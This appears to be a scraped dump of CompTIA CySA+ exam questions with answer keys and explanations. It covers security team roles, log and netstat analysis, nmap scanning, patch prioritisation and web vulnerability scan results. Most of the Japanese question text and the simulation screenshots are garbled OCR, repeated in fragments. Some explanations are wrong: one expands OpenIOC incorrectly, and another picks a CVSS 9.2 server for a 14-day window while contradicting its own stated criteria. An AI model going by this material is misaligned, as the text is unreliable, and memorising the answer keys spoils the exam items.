cybersecurity strategy and governance of an organization. An orange team helps the yellow team to
understand the cybersecurity risks and challenges, as well as the roles and responsibilities of other
teams, such as the red, blue, and purple teams12.

In this scenario, the analyst is conducting monitoring against an authorized team that will perform
adversarial techniques. This means that the analyst is observing and evaluating the performance of
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another team that is simulating real-world attacks against the organization's systems or networks. This
could be either a red team or a purple team, depending on whether they are working independently or
collaboratively with the defensive team345.

The analyst interacts with the team twice per day to set the stage for the techniques to be used. This
means that the analyst is providing guidance and feedback to the team on how to conduct their testing
and what techniques to use. This could also involve setting up scenarios, objectives, rules of
engagement, and success criteria for the testing. This implies that the analyst is facilitating and training
the team to improve their skills and capabilities in cybersecurity12.

Therefore, based on these descriptions, the analyst is a member of an orange team, which is involved in
facilitation and training of other teams in cybersecurity.

The other options are incorrect because they do not match the role and function of the analyst in this
scenario.

Option B is incorrect because a blue team is a defensive security team that monitors and protects the
organization's systems and networks from real or simulated attacks. A blue team does not conduct
monitoring against an authorized team that will perform adversarial techniques, but rather defends
against them345.

Option C is incorrect because a red team is an offensive security team that discovers and exploits
vulnerabilities in the organization's systems or networks by simulating real-world attacks. A red team
does not conduct monitoring against an authorized team that will perform adversarial techniques, but
rather performs them345.

Option D is incorrect because a purple team is not a separate security team, but rather a collaborative
approach between the red and blue teams to improve the organization's overall security. A purple team
does not conduct monitoring against an authorized team that will perform adversarial techniques, but
rather works with them345.
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Proprietary systems are systems that are owned and controlled by a specific vendor or manufacturer, and
that use proprietary standards or protocols that are not compatible with other systems. Proprietary
systems can pose a challenge for vulnerability management, as they may not allow users to access or
modify their configuration, update their software, or patch their vulnerabilities. In this case, two of the
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critical systems cannot be upgraded due to a vendor appliance that the company does not have access
to. This indicates that these systems and associated vulnerabilities are examples of proprietary systems
as inhibitors to remediation
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Data loss prevention (DLP) is a tool that can prevent the exposure of Pll outside of an organization by
monitoring, detecting, and blocking sensitive data in motion, in use, or at rest.
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Port 3389 is commonly used by Remote Desktop Protocol (RDP), which is a service that allows remote
access to a system. A vulnerability on this port could allow an attacker to compromise the web server or
use it as a pivot point to access other systems. However, if the firewall blocks this port, the risk of
exploitation is reduced.
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A cloud access security broker (CASB) is a tool that can help reduce the risk of shadow IT in the
enterprise by providing visibility and control over cloud applications and services. A CASB can enable
policy enforcement by blocking unauthorized or risky cloud applications, enforcing data loss prevention
rules, encrypting sensitive data, and detecting anomalous user behavior.
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The best way to ensure that the investigation complies with HR or privacy policies is to ensure that the
case details do not reflect any user-identifiable information, such as name, email address, phone number,
or employee ID. This can help protect the privacy and confidentiality of the user and prevent any potential
discrimination or retaliation. Additionally, password protecting the evidence and restricting access to
personnel related to the investigation can help preserve the integrity and security of the evidence and
prevent any unauthorized or accidental disclosure or modification.
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MOU X9 & LBV LERITRD ENTT M?

A BREEDEOHOESKRRTOLREHEKT S

B. t A& MIN LX) T DEFREERTZTLHLIICT S
C.LAV—YRATLICHLTEHFHFEIOEREZERTESLIITTS

D. Y —EXLARLIZEAT 2T R TOREENEYICHEESI NS L S1ZT S

Answer: B (A —vt—U%%&9)

A Memorandum of Understanding (MOU) is a formal agreement that outlines the roles and
responsibilities of each party involved in a particular process or project, especially within security
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frameworks. In the context of cybersecurity, an MOU is commonly used to clarify and document the
security responsibilities of different departments or entities involved. It helps ensure everyone
understands their specific duties and contributions to security, which is crucial for coordination and risk
management. According to CompTIA Security+ guidelines, while options A, C, and D describe other
forms of agreements, they do not capture the essential purpose of an MOU as accurately as option B
does.
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HEAEBTIH FUFAVTRRAMESNTWDEELGERMT TV r—2avhhl) 4RV~ 0Jch%¥
D SIEMISEETAHIENTEFHA , EXaUTa FHIR M EF U TAIREONFEEZMESHE
BEHICERT E2RELAF T IVIERDSIBEENTIT D,

A KRR FREBOBEEICHELZHF L SIEM 28BLET,

B.RUA—D7 T r—2aVICEHEST BRI —FEHTRISA4TLET,

C.RUS—IRED API ZFERALT AID)TILEA LTORBEEHELET,

D. EEHMNMn I E#AHo0—FLTFHTS VR—rLET,

Answer: C (A —vyt—T%EY)

Using a vendor-provided API to automate pulling logs in real-time is the best option for improving the
efficiency of security operations when the financial application does not allow event logging to send to the
corporate SIEM. This approach ensures that logs are consistently and promptly integrated into the
security monitoring process without manual intervention, enhancing the overall effectiveness of security
operations.
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FTHFIVRAKI SFEHOLWISAY 7O9TAETAICEATS575—FE2ZEL ROTU M) FHERLE
ER

2024-05-23

15:57:05 10.203.10.16 HEAT /- 80 - 10.203.10.17 DirBuster-1.0-RC1+(http://www.owasp.org/index.php
/AT 3')—OWASP_DirBuster A< x4 )

FFTFIVRMEIATHAORDENZHER L FETH?

A BREBENRY FT—V DEAROBIHZRITLTVET,

B.REENVITHA FDERETOTLET,
C.HEENARYFNI—IUMLT—2ZEAHLTVET,

D. WEEHA Web 4 FEHRELTULET,

Answer: B (A —vyt—T#%T)

Comprehensive and Detailed Step-by-Step Explanation:The logs indicate that the OWASP DirBuster tool
is being used. This tool is designed for directory brute-forcing to find hidden files or directories on a web
server, which aligns with reconnaissance activities. The series of GET and HEAD requests further
confirm directory and file enumeration attempts.
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ERalERtXFa ) T4EREEBIX . SQLA 223> FRI_XSS L EDMETEMEFHERR L | SRETERREH

BbEXa1TAZEELEVWEZEATWET ROENDEHZ/-TAIREELETL £ 5M,
AVN=RTO=F7)25

B. BMAMIDRET X b+

C.EBM7IUr—>avexa)T4TRE

D.a—FDT/\vJ

Answer: C (A —vyt—T%EY)

Dynamic Application Security Testing (DAST) is used to detect vulnerabilities in running applications,

including common issues like SQL injection, FRI, XSS, etc. It aligns with the goal of implementing

security by design.

ExHfERE: 129

AVOTUMRIETTIRRDTF IR MO OHAEZSITHROTOVET BEGEZ ZHARMKLTL
5,2 \D7FT VA MDETEATTARICRLEEZLGFIRIEIRDS> L ENTIMN?
A.ZARBINZRHEL UEIO7FIRAREELEVET,

B. I RTOHRZZITAN ROEBZ—7 v FORABZHETLET,

C.HIOT7F AN EITLE-FIRZHELET,

D.URIDT7F+ VRO oIRRREREZHRIELET,

Answer: (&% %K D)

Reviewing the steps that the previous analyst followed is the most important step during the transition, as
it ensures continuity and consistency of the investigation. It also helps the new analyst to understand the
current status, scope, and findings of the investigation, and to avoid repeating the same actions or
missing any important details. The other options are either less important, premature, or potentially
biased. References:

CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4: Incident Response and Management,
page

191. Incident response best practices and tips, Tip 1: Always pack a jump bag.

RFTHERE: 130
ROENHRIEE OV ERICEAL CTEXRLGMBEZSI SR TAREELBELTL £ 557
A. R84t
B. ZER:AEL
C. &
D. %l £
Answer: D (A —vt—U%EY)
Time synchronization issues can cause severe problems with authentication and logging. If system clocks
are not properly synchronized, it can lead to discrepancies in log timestamps, making it difficult to
correlate events across different systems. Additionally, time-related discrepancies can affect
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authentication mechanisms that rely on time-based tokens, such as those used in multifactor
authentication, leading to failures and security gaps.
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TFFTURDNYDzTH A FERABL ROBEREH/ELE:,

2022-07-21 10:21 CDT IZ Nmap 7.92 ( https://nmap.org ) Z#&E L £T

insecure.org (45.33.49.119) ® Nmap XR¥+ > LiR—

RAMIFELTWEY GEED.054 ),

45.33.49.119 M rDNS L O— F: ack.nmap.org

RERBEL: T4NL2) 585N 95 @D TCP R—k (&K L)

BIEZEY—EXRN—D 3y

22/tcp 77— 7> ssh OpenSSH 7.4 (7B kaJL 2.0)

25/tcp ¥ O—X K SMTP

80/tcp +— 7' > http Apache httpd 2.4.6

113/tcp 7 A—X ID

443/tcp A— 7' > ssl/http Apache httpd 2.4.6

H—E X1&E#R: "X k:issues.nmap.org

—ERXBRENETINFE L, BRo=ERLNHDHIHEE L, https://nmap.org/submit/ [TIRE L TS
Ly,

NmapET:1 2D IP7 FLR (1 DDRR CHEEH) £ 2052 P TRFv 2 LFELTS:
TFHURME, COMEEWeb A bTT7 TV T—230DN—2 a3 0 FRET HOIZ ROEDHE
XzERLELEMN?

A. nmap-sS -T4 -F insecure.org

B. nmap-0 insecure.org

C. nmap-sV -T4 -F insecure.org

D. nmap-A insecure.org

Answer: C (A —vt— U %7&9)

The analyst used the command nmap -sV -T4 -F insecure.org to discover the application versions on the
vulnerable website. The -sV option in Nmap is used to perform version detection, which identifies the
versions of the services running on open ports. The -T4 option sets the timing template for faster
execution, and -F scans only the most common ports.
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REEBIRUIBOTI YT Y TEFREICFERLIEZBEVDHY FT, TOREEIFIAETHICKIAEITE
TYAFETEBURZZTTVWEY I ZRET S5H-OOKREDFIRIIRD S5 ENTTH,
A1—HF—DOFRry L T—9ThoU bEWeb) Y—RADT IR EENZT S
B.Y—N—DNy Y7y TELTIFAILDIE—ZERLET,

C.TNAREA—Y—DRY NT—VHEBITENREBEZH/ELET,

D. TNNARDITA LYY A A—DFEHL SRAINY 2 FERLET,

Answer: (& &%~ 9 5)
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Making a forensic image of the device and creating a SRA-I hash is the best step to preserve evidence,
as it creates an exact copy of the device's data and verifies its integrity. A forensic image is a bit-by-bit
copy of the device's storage media, which preserves all the information on the device, including deleted
or hidden files. A SRA-I hash is a cryptographic value that is calculated from the forensic image, which
can be used to prove that the image has not been altered or tampered with. The other options are not as
effective as making a forensic image and creating a SRA-I hash, as they may not capture all the relevant
data, or they may not provide sufficient verification of the evidence's authenticity. Official References:

* https://www.sans.org/blog/forensics-101-acquiring-an-image-with-ftk-imager/

* https://swailescomputerforensics.com/digital-forensics-imaging-hash-value/
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FNEEIZIE BEBEERICEITARY OFEZHCEOICBBEEDRNICHETELIELEDOAEBNVEE
b, ZEEBREF21)TEEE (CISO) X, VRV ZERT H1-HI20J L EEREMEHEFS K UHER
THLEERELEFT  CISONERELEDIIRDENTYT M,

A. ZIEHEH

B.#Ea3> tA—)L

C..EREH

D. E®a> tO—JL

Answer: (&% &RT~9 5)

Compensating controls are alternative controls that provide a similar level of protection as the original
controls, but are used when the original controls are not feasible or cost-effective. In this case, the CISO
implemented compensating controls by reviewing logs and audit trails to mitigate the risk of error and
fraud in payroll management, since segregating duties was not possible due to the small staff size
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MDITARTOF T a vEFHELE-RICEEIRETYRVEEDORERIRDENTT H?
A. Bri%

B. &2

C. 8@

D. [E]5#

Answer: B (A —vyt—T#EY)

* Risk Acceptance means acknowledging a risk and choosing not to take further action because the cost
of mitigation may outweigh the benefits.

* It is the last resort when:

* The risk is low impact or unlikely to occur.

* Other options (mitigation, transfer, avoidance) are not feasible.

Why Not Other Options?

* A (Transfer) # Moving risk to a third party (e.g., insurance).

* C (Mitigation) # Implementing security controls to reduce risk.

* D (Avoidance) # Eliminating the risk entirely (e.g., discontinuing a service).
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SOC EEEHY—EXRFMDER, BEDHEHEMRICIREIN LI —EHOLVWY—ERIZHT EFHEDL
NpEWh I ErbMrYELE, SAITHLT 572HIZ SOC ) —F—IE SOC DN T+—T R &
H—EXADREICET IAETOHFEHILTINEZERLET  ROXEDS> L, CORBAICKRIET
FFEDEDIEENTI D,

A. )R EHEHEE

B. R A —EH)

C. 4 TV FRIGEE

D. ¥—E X LR )LEH

Answer: D (A —vyt—T%EY)

A Service-Level Agreement (SLA) is a document that establishes customer expectations regarding the
performance and quality of services provided by the SOC (Security Operations Center). It defines thelevel
of service expected, including aspects like response times, availability, and support after regular work
hours. An SLA helps in setting clear expectations and improving customer satisfaction by outlining the
standards and commitments of the service provider.
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RDEND STIX & & U OpenloC 1EHE AR LMD E A M FEAIY ATREIC LFE T H?

A. XML

B. URL

C. OVAL

D. TAXII

Answer: A (A —yt—TU%#ET)

The correct answer is A. XML.

STIX and OpenloC are two standards for representing and exchanging cyber threat intelligence (CTI)
information. STIX stands for Structured Threat Information Expression and OpenloC stands for Open
Location and ldentity Coordinates. Both standards use XML as the underlying data format to encode the
information in a structured and machine-readable way. XML stands for Extensible Markup Language and
it is a widely used standard for defining and exchanging data on the web. XML uses tags, attributes, and
elements to describe the structure and meaning of the data. XML is also human-readable, as it uses plain
text and follows a hierarchical and nested structure.

XML is not the only format that can be used to make STIX and OpenloC information readable by both
humans and machines, but it is the most common and widely supported one. Other formats that can be
used include JSON, CSV, or PDF, depending on the use case and the preferences of the information
producers and consumers. However, XML has some advantages over other formats, such as:

* XML is more expressive and flexible than JSON or CSV, as it can define complex data types, schemas,
namespaces, and validation rules.

* XML is more standardized and interoperable than PDF, as it can be easily parsed, transformed,
validated, and queried by various tools and languages.
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* XML is more compatible with existing CTl standards and tools than other formats, as it is the basis for
STIX 1.x, TAXII 1.x, MAEC, CybOX, OVAL, and others.
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HLMBE RKEDT—INRRY FT—IhLEESINTWSIILIZRFEELL, TFURME, T—
AREDEREHELTLET,

BizES

AT1E2THAEERLI-aT U FEERLET,

TRTDZATDHATHRFR M Z2HRBL BEEOHLIHEORRALGH> TSI 7AMILERELET,
WDOTEHELZaAL—Y a3 VOPBKEBICRLEZWVMESIE, TRTYEY MRFVEI Uy LTLES
Ly

: IEENER G

Active Connections

Proto Local address Foreign address State

TCP 0.0.0.0:22 0.0.0.0:0 LISTENING
TCP 0.0.0.0:23 0.0.0.0:0 LISTENING
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1960 2720505122 ESTABLISHED
[sftp.exe]

TCP 192.168.10.21:38666 41.21.18.102:22 ESTABLASHED
[sftp.exe]

TCP 192.168.10.21:8447 66.207.110.49:https ESTABLISHED
[svchost.exe]

TCP 192.168.10.21:55356 31.10.100.7:https ESTABLISHED
[cmd.exe]

TCP 192.168.10.21: 192.168.10.37:htSp ESTABLISHED
TCP 192.168.10.21: S 32.111.16.30522 TIME WAIT
[notepad.exe]

TCP 192.168.10.21: -11JaR6 . 3T TIME WAIT
TCP 192.168.10.21: bl . TEER7 - 28 TIME WAIT

Select the command that generated the output in tab 1: Identify the file responsible for the malicious behavior:
|Select command V‘ O calendar.dat O cmd.exe
- V7w O sftp.exe O calc.exe

Select the command that generated the output in tab 2: O explorer.exe O sersbat

\Select command V‘ O svchost.exe
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Active Connections

Proto Local address Foreign ad 2 State

TCP ) 222 .0.0.0:0 LISTENING

TCP ) =it 0.0.0.0: LISTENING
w2 LISTENING
0: LISTENING
.0.1: ESTABLISHED

.18.102:22 ESTABLISHED

66.207.110.49:https ESTABLISHEDR

il Select command . TS N
netstat -bo
ftasklist ESTABLISHED
fnet stop TIME WAIT
Harp -a
} nslookup
“taskkill /FI

| cmd
ipconfig /reset

TIME WAIT
TIME WAIT

Identify the file responsible for the malicious behavior:

[ ‘ASelect command vl‘ O calendar.dat O cmd.exe

. O sftp.exe O calc.exe

Select the command that generated the output in tab 2: O explorerexe O users.tet
HSelect command vw O svchost.exe

-49thttps

TIME_WAIT

;ZSelebt command

T :.‘TFT_I.-J,‘-, IT
tasklist
|ipconfig /reset
netstat -bo

' Identify the file responsible for the malicious behavior:

arp =4 O calendar.dat O cmd.exe
__|nslockup L
—taskkill /FI O sftp.exe O calc.exe

cmd O explorer.exe O users.txt

Select command . () svchost.exe




svchost.exe

calc.exe

notepad.exe

Select the command that generated the output in tab 1:

ki ‘

[ =
| Select command

Select the command that generated the output in tab 2:

|Select command

= ‘

o

Select the command that generatéd the'@utplt in tab 1:

command

Select the command that generated the output in tab 2:

|

|Select command

Identify the file responsible for the malicious behavior:

O calendar.dat O cmd.exe
O sftp.exe O calc.exe
O explorerexe (O_users.txt

O svthost.exé

| Identify the file responsible for the malicious behavior:

) calendar.dat O cmd.exe
O sftp.exe ) calc.exe
@, E‘XD'DI’EI’.EKE ) users.txt

) svchost.exe




Identify the file responsible for the malicious behavior:

Select the command that generated the output in tab 1:

7 calendar.dat

cmd.exe

) calc.exe

Select the command that generated the output in tab 2:

O users.txt

() explorerexe



Select the commiind that generated the output in tab 1; identify the fie responsible for the malicious behavior:
T ~ ) calendardat cmd.exe

sftp.exe
tp - explorer.exe
i sychost. exe

Select the command that genarated the output in tab 2:

Answer:

calc.exe

users, txt



Select the command that generated the output in tab 1: | igentifydhe fie responsible for the mabcious behawior:

T e et e e M

= e = - catendar dat j & ondexe
“CaErirFE = — sftp.exe = caic.exe

) expioneréxe Lrsers. bt

: ; svchost.exe
RERET

Salect the command that generated the output in tab 2

Explanation:

Select the command that generated the output in tab 1:

* netstat -bo

Select the command that generated the output in tab 2:

* tasklist

Identify the file responsible for the malicious behavior:

* cmd.exe

Select the command that generated the output in tab 1: The output in tab 1 displays active network
connections, which can be generated using the netstat command with options to display the owning
process ID.

Select the command that generated the output in tab 1:

* netstat -bo



Select the command that generated the output in tab 2: The output in tab 2 lists the running processes
with their PIDs and memory usage, which can be generated using the tasklist command.

Select the command that generated the output in tab 2:

* tasklist

Identify the file responsible for the malicious behavior: To identify the malicious file, we compare the
hashes of the current files against the baseline hashes. From the provided data:

* The hash for cmd.exe in the current state (tab 3) is 372ab227fd5ea779c211a1451881d1e1.

* The baseline hash for cmd.exe (tab 4) is a2cdef1c445d3890cc3456789058cd21.

Since these hashes do not match, cmd.exe is the file responsible for the malicious behavior.
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#HRO—FLEa—®IZ, ACEIEMENDSY T F I 7IC FEDI— FOETEAREICT DM
HEAZENEREINFEL, COMBHEF ACE VI MYz 7 THEASNLIMEDY— F/X\—FT 4 R
B—1)Y—RIZHYFET ACE FHEPTHERAINTEY  COERDELDERIZE>TFARTY,
FREEIL RBEOREICEIFEAMMND ZLEEZREBFEREF IV T BEEBICEMLEL-, ZAICE
TIRETVIIVIERDSIBLENTI D,

A SHATEBEEMNGRRZERLET,

B. BREICHESEEZRAMLET,

C.HEB%ERITBRUVF—1JY—REACEYVI rIz7hLHIBRLET,

D. BEMNKARICHERENSET MEREERFELES,

Answer: (fRAZEZ#RTT B)

A compensating control is an alternative measure that provides a similar level of protection as the original
control, but is used when the original control is not feasible or cost-effective. In this case, the CISO
should develop a compensating control to mitigate the risk of the vulnerability in the ACE software, such
as implementing additional monitoring, firewall rules, or encryption, until the issue can be fixed
permanently by the developers. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition,
Chapter 5, page

197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.
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MBEMEERF —LFFFMPIC 4 DOETEGHBHUEZREAL, SR LBEMO-HITE LGB EIRRLA
EIT3ODLR— FERETIVENHYET BN IO LA TRIBEEOSVRBEIRODENT
g,

A-BETLEBHE LoCHHY EBUEIEREI—T v T HMREBM

B.SIEM THRIN- HEDKELX v UR—VICEHET HMEEMHE

C. REBEMNERAL TR, F-(XEET 5 loC A4 ULESEHE

D. i L= AT LICEET 5H51E T, LOCAZE LY

Answer: B (A —vyt—T#ET)

A vulnerability that is related to a specific adversary campaign, with loCs found in the SIEM, should have
the highest priority for the mitigation process. This is because it indicates that the vulnerability is actively
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being exploited by a known threat actor, and that the organization's security monitoring system has
detected signs of compromise. This poses a high risk of data breach, service disruption, or other adverse
impacts.

References: How to Prioritize Vulnerabilities Effectively: Vulnerability Prioritization Explained, Section:
How to prioritize vulnerabilities step by step to avoid drowning in sea of problems; CompTIA CySA+
Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156.
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SOC ¥vx—ov—Id BE 4 BARDIEREZHELTC BYBRLELET HTRAMOMEZAELEFT, <
F—Ov—L BESN-FREORERZEHET L28UDARY FERDOTFET, Y R2— U v —H[E-E
ZRRIRT B-OIZFERAT HAREMINBTVDIERDEDHETL £ 5h,

A. fE55 14T

B. {RARIRE 247

C.BHLHK—F

D. EA =

Answer: B (A —vt—T%#ET)

Comprehensive and Detailed Explanation:

Root Cause Analysis (RCA)is the best approach toidentify and resolve the underlying cause of recurring
incidents. It involves a systematic investigation of logs, configurations, and operational data to pinpoint
the reason behindpersistent security issues.

* Option A (Vulnerability assessment)helpsidentify security weaknessesbut does not focus on recurring
operational issues.

* Option C (Recurrence reports)trackpatternsbut do notresolve the root cause.

* Option D (Lessons learned)is valuable but is typicallya post-mortem discussion rather than an
investigative method.

Thus,B is the correct answer, asroot cause analysis is the best approach for diagnosing recurring
availability issues.
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VATLEBENREMERA Xy OOHAFHERLTWET,
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Vulnerability remediation timeframes 'Y Reset All Answers

! |
CVSS risk | 1 Standard —
proD [TUAT
v
x
b4

CVSS > 9.0 Must be patched or remediated and verified by a subsequent _ V
vulnerability scan within 7 calendar days N o B .
CVSS > 7.9<9.0 Must be patched or remediated and verified by a s \ v
vulnerability scan within 14 calendar days :
CVSS > 5.0 < 7.9 Must be patched or remedlated and verifi g‘h? as pseq v

XXKXI

CVSS >0 < 5.0 Must be patched or remedia i « x

i

Any of these timeframes may be ameleratedﬂ th&

g U
« If patching cannot be completed or a«ﬁn% ot made a patch available within the timeframe in the table outlined
above, compensating controls muskb \ﬁm"ﬁace within the timeframes listed above and the exception process must be -

—

[]192.168.50.6 Ei192 15&376§>
[]192.168.50.5 :

=] Show Question

|:| 192.168.76.5
9 Reset All Answers

Vulnerability remediation timeframes m

.
CVSS risk level Standard -
__ proD [JUAT! NBEVN

CVSS > 9.0 Must be patched or remediated and verified by a subsequent V V x
vulnerability scan within 7 calendar days i ¥

CVSS > 7.9 < 9.0 Must be patched or remediated and verified by a subsequent x
vulnerability scan within 14 calendar days

CVSS > 5.0 < 7.9 Must be patched or remediated and verified by a subsequent : v ' % s
vulnerability scan within 30 calendar days i

CVSS > 0 < 5.0 Must be patched or remediated and verified by a su U e
vulnerability scan within 60 calendar days

Any of these timeframes may be accelerated at the discretion of the_ChIef Information Security r (CISO).
« If patching cannot be completed or a vendor has not made a fatch @uailable' within the timeframe in t table | I A

above, compensating controls must be put in place withinsthe ﬂmeframés listed above and the exception

Select the server to be patched Select the él_.tpmpd.ate technique and mitigation:

within 14 calendar days:

[[]192.168.50.6 [ ] 192.168.76.6 Beicct ' <)
[J192.168505 []192.168.60.5 Request exception; legacy protocol could have operational impact
[ ]192.168.76.5 [ ]192.168.60.6 Patch; upload signed certificate from trusted third-party provider

Patch; issue a CRL for the server to the CA

Patch; upgrade IIS to current release

Request exception; organization needs time to procure a PKI
Compensating control; create new ACL on firewall to block port 443
Compensating control; implement secure session tokens
Compensating control; implement MFA on the application
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Environment Environment Pubhcly
Subnets
name location accessible balancer reqmred

prod.comptia.org External 104.17.18.29 comptia.org Yes
104.17.18.30 '
‘ Om I I A 192.168.60.0/24
192.168.61.0/24
dev.comptia.org Internal 192.168.76.0, 4 com No No Yes Yes
192, 168 ZLS_ 4.4
uat.comptia.org External 192. 168 50.0/ 24 comptia.org No Yes Yes Yes

192.168.51.0/24

P RETEN : sh sti =
Vulnerability remediation timeframes Environment 2 (iQUEE'UO” <) Reset SLaIEwEs

Title: Microsoft 1IS: Unsupported software version detected
Description: The software version detected is no longer supported.
Affected asset: 192.168.76.5

Risk: Unpatched software

Reference: CVE-2022-0155, CVSS 9.2

Title:

Description:

Affected asset:

Risk:

Reference: CVE-2021-0462, CVSS 7.4

Title: Untrusted SSL/TLS Server X.509 certificate

MNac sintinm: Tha commwrce TI CICCI ~ovkificta i innad by o cartificata sutharibe that ic ontriictad Ar oinbnaiam
Answer:
see the explanation for step by step solution.
Explanation:

Step 1: Reviewing the Vulnerability Remediation Timeframes

The remediation standards require servers to be patched based on their CVSS score:

* CVSS > 9.0: Patch within 7 days

* CVSS 7.9 - 9.0: Patch within 14 days

* CVSS 5.0 - 7.9: Patch within 30 days

* CVSS 0 - 5.0: Patch within 60 days

Step 2: Analyzing the Output Tab

From the Output tab:

* Server 192.168.76.5 has a CVSS score of 9.2 for an unsupported Microsoft IIS version, indicating a
critical vulnerability requiring a patch within 7 days.

* Server 192.168.76.6 has a CVSS score of 7.4 for a missing secure attribute on HTTPS cookies, which
falls in the 5.0 - 7.9 range, requiring a patch within 30 days.

Since the question asks for the server to be patched within 14 days, we need to focus on servers with
CVSS



7.9-9.0:

* None of the servers have a CVSS score that falls precisely in the 7.9 - 9.0 range.

* However, 192.168.76.5, with a CVSS score of 9.2, has a vulnerability that necessitates a quick
response and fits as it must be patched within the shortest timeframe (7 days, which includes 14 days).
The server that fits within a 14-day urgency, based on standard practices, would be 192.168.76.5.
Step 3: Reviewing the Environment Tab

The Environment Tab provides additional context for 192.168.76.5:

* It's in the dev environment, which is internal and not publicly accessible.

* MFA is required, indicating security measures are already present.

Step 4: Selecting the Appropriate Technique and Mitigation

For 192.168.76.5, with the Microsoft IIS unsupported version:

* Patch; upgrade IS to the current release is the most suitable option, as upgrading IIS will resolve the
unsupported software vulnerability by bringing it up-to-date with supported versions.

* This technique addresses the root cause, which is the unpatched, outdated software.

Summary

* Server to be patched within 14 calendar days: 192.168.76.5

* Appropriate technique and mitigation: Patch; upgrade IIS to the current release This approach ensures
that the most critical vulnerabilities are addressed promptly, maintaining security compliance.

TS TR Output j S=T R i
P PR il ' \ P

Title: Microsoft IIS: Unsupported software version detected

Description: The software version detected is no longer supported.

Affected asset: 192.168.76.5

Risk: Unpatched software

Reference: CVE-2022-0155, CVSS 9.2

Title: Sensitive cookie in HTTPS session without "secure" @ttribute

The secure attribute for sensitive cookies ifHTTPS Se8sigh's is not set, which could cause the user agent to

Description: i . :
send those cookies in plaintext over HIIP 5€8Sion.

Affected asset: 192.168.76.6

Risk: Session sidejacking

Reference: CVE-2021-0462, CVSS 7.4

Title: Untrusted SSL/TLS Servef %509 eeklificate

[ 5 PPy Tha caonmr’e Tl CICCI ~ApRifi~~Faic ciAanad b o ~arkificata autharibe Fhat ie nntrictad ar onbnamm e
Ly e

Select the server to be patchéd I | Select the appropriate technique and mitigation:

within 14 calendar days: |

[1192.168.50.6 l (Patch; upgrade IIS to current release )

[ 1192.168.60.6 [ |192.168.76.6
[]192.168.60.5 [ ]192.168.50.5
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Issues =

All [45] * Fix v Verified © Pending verification [2] x posit 0 Await

URL Input Element

Y SEVERITY Cross-Site Scripting (XSS) 4

Reset Show all Hide all

Client-side scripts are used extensively by modern wéb applications. They perform from simple
functions (such as the formatting @f text) up/e full manipulation"of client-side data and Operating
System interaction.

Cross Site Scripting (XSS) allows clients to inject scripts into a request and have the server return
the scripf'to the client in the f@sponse. This occurs because the application is taking untrusted data
(in this'example, from the client) and reusing it without performing any validation or sanitisation.

Cross-Site Scripting (XSS) 4 If.the injected script is returned immediately this is known as reflected XSS. If the injected script is

Cross-Site Scripting (XSS) Ins' 3 ° stored by the server and returned to any client visiting the affected page, then this is known as
persistent XSS (also stored XSS).

\Blind SQL Injection (timing atta 3

SQL Injection = Arachni has discovered that it is possible to insert script content directly into HTML element
content.

Remote File Inclusion 1
(CWE)

Blind SQL Injection (differential 2

BHICEBET H2RLENHIDIEIRDSIBLENTTM?

ASQLArozoyiay

B. IFRig 1K HE

C. XSS

D.a—krA2>xzO 3V

Answer: A (A —vt—T %KY

SQL injection should be remediated first, as it is a high-severity vulnerability that can allow an attacker to
execute arbitrary SQL commands on the database server and access, modify, or delete sensitive data,
including PIl. According to the Arachni scan results, there are two instances of SQL injection and three
instances of blind SQL injection (two timing attacks and one differential analysis) in the web application.
These vulnerabilities indicate that the web application does not properly validate or sanitize the user input
before passing it to the database server, and thus exposes the database to malicious queries12. SQL
injection can have serious consequences for the confidentiality, integrity, and availability of the data and
the system, and can also lead to further attacks, such as privilege escalation, data exfiltration, or remote
code execution34.

Therefore, SQL injection should be the highest priority for remediation, and the web application should
implement input validation, parameterized queries, and least privilege principle to prevent SQL injection
attacks5. References: Web application testing with Arachni | Infosec, How do | create a generated scan
report for PDF in Arachni Web ..., Command line user interface Arachni/arachni Wiki GitHub, SQL
Injection - OWASP, Blind SQL Injection - OWASP, SQL Injection Attack: What is it, and how to prevent it.,
SQL Injection Cheat Sheet & Tutorial | Veracode
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B. &£ AT L0 NTP #R

C. ITENHHEAERE

D. T—R EHEIL—IL

Answer: (&% &RT~9 5)

The NTP configuration on each system should be checked first, as it is essential for ensuring accurate
and consistent time stamps across different systems. NTP is the Network Time Protocol, which is used to
synchronize the clocks of computers over a network. NTP uses a hierarchical system of time sources,
where each level is assigned a stratum number. The most accurate time sources, such as atomic clocks
or GPS receivers, are at stratum 0, and the devices that synchronize with them are at stratum 1, and so
on. NTP clients can query multiple NTP servers and use algorithms to select the best time source and
adjust their clocks accordingly1. If the NTP configuration is not consistent or correct on each system, the
time stamps of the logs and events may differ, making it difficult to correlate incidents across different
systems. This can affect the security analysis and correlation of events, as well as the compliance and
auditing of the network23.

References: How the Windows Time Service Works, Time Synchronization - All You Need To Know,
What is SIEM? | Microsoft Security
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Answer: A (A —vyt—T%EY)

The correct answer is A. To ensure the report is legally acceptable in case it needs to be presented in
court.

Proper handling and reporting of existing evidence are important for the investigation and reporting
phases of an incident response because they ensure the integrity, authenticity, and admissibility of the
evidence in case it needs to be presented in court. Evidence that is mishandled, tampered with, or poorly
documented may not be accepted by the court or may be challenged by the opposing party. Therefore,
incident responders should follow the best practices and standards for evidence collection, preservation,
analysis, and reporting1.

The other options are not reasons why proper handling and reporting of existing evidence are important
for the investigation and reporting phases of an incident response. They are rather outcomes or benefits
of conducting a thorough and effective incident response process. A lessons-learned analysis (B) is a
way to identify the strengths and weaknesses of the incident response team and improve their
performance for future incidents. A postmortem analysis is a way to determine the root cause, impact,
and timeline of the incident and provide recommendations for remediation and prevention. A root cause
analysis (D) is a way to identify the underlying factors that led to the incident and address them
accordingly.
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Vulnerability Scan Report

HIGH SEVERITY
Title:

Description:

Affected Asset:
Risk:

Reference:

Title:

Description:

Affected Asset:
Risk:
Reference:
LOW SEVERITY
Title:

Description:

Affected Asset:
Risk:

Reference:

Cleartext Transmission of Sensitive Information

The software transmits sensitive or securitycritical data in Cleartext
in a communication channel that can be sniffed by authorized users.

172.30.0.15

Anyone can read the information by gaining access to the channel being
used for communication.

CVE-2002-1949

Sensitive Cookie in HTTPS session without ‘Secure’ Attribute

The Secure attribute for sensitive cookies in HTTPS sessions is not
set, which could cause the use agent to send those cookies in plaintex
over HTTP session.

